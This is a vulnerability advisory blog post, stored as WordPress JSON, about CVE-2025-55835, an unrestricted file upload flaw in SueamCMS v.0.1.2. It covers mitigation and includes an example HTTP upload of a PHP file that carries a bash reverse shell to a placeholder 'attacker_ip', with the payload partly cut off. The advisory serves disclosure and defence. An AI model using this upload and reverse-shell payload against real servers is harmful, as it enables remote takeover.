{"id":75977,"date":"2025-09-18T16:53:51","date_gmt":"2025-09-18T16:53:51","guid":{"rendered":""},"modified":"2025-10-01T12:50:39","modified_gmt":"2025-10-01T18:50:39","slug":"cve-2025-55835-critical-file-upload-vulnerability-in-sueamcms-v-0-1-2","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-55835-critical-file-upload-vulnerability-in-sueamcms-v-0-1-2\/","title":{"rendered":"CVE-2025-55835: Critical File Upload Vulnerability in SueamCMS v.0.1.2<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The cybersecurity landscape is constantly evolving, with new vulnerabilities being identified and patched regularly. One such recent discovery is CVE-2025-55835, a highly severe File Upload vulnerability found in SueamCMS v.0.1.2. This vulnerability has significant implications for its users, as it allows a remote attacker to execute arbitrary code<\/a> due to a lack of filtering. This could potentially lead to system<\/a> compromise and data leakage, posing a significant threat to the integrity and confidentiality of data.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-55835
\nSeverity: Critical, CVSS 9.8
\nAttack Vector: Remote
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System Compromise<\/a>, Potential Data Leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

SueamCMS | v.0.1.2<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises from a lack of sufficient filtering mechanisms in the file upload<\/a> feature on the SueamCMS v.0.1.2 platform. This lack of filtering allows an attacker to upload a malicious file containing an executable code<\/a>. Once uploaded, the attacker can remotely trigger this code<\/a>, allowing them to take control of the system or exfiltrate sensitive data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Here’s a conceptual example of how an attacker could exploit this vulnerability:<\/p>\n

POST \/file_upload HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious_script.php\"\nContent-Type: application\/x-php\n& \/dev\/tcp\/attacker_ip\/8080 0>&1'\"); ?>\n------WebKitFormBoundary7MA4YWxkTrZu0gW<\/code><\/pre>\n
In this example, the attacker uploads a malicious PHP script that, when executed, opens a reverse shell to the attacker’s machine, allowing them to execute commands<\/a> remotely.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The best practice to mitigate this vulnerability is to apply the vendor-provided patch as soon as it becomes available. In the meantime, use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability<\/a>. Furthermore, it is strongly advised to restrict file upload<\/a> functionality to trusted users only and to implement adequate file type and content filtering to prevent the upload of malicious files.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The cybersecurity landscape is constantly evolving, with new vulnerabilities being identified and patched regularly. One such recent discovery is CVE-2025-55835, a highly severe File Upload vulnerability found in SueamCMS v.0.1.2. This vulnerability has significant implications for its users, as it allows a remote attacker to execute arbitrary code due to a lack of filtering. […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75977","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t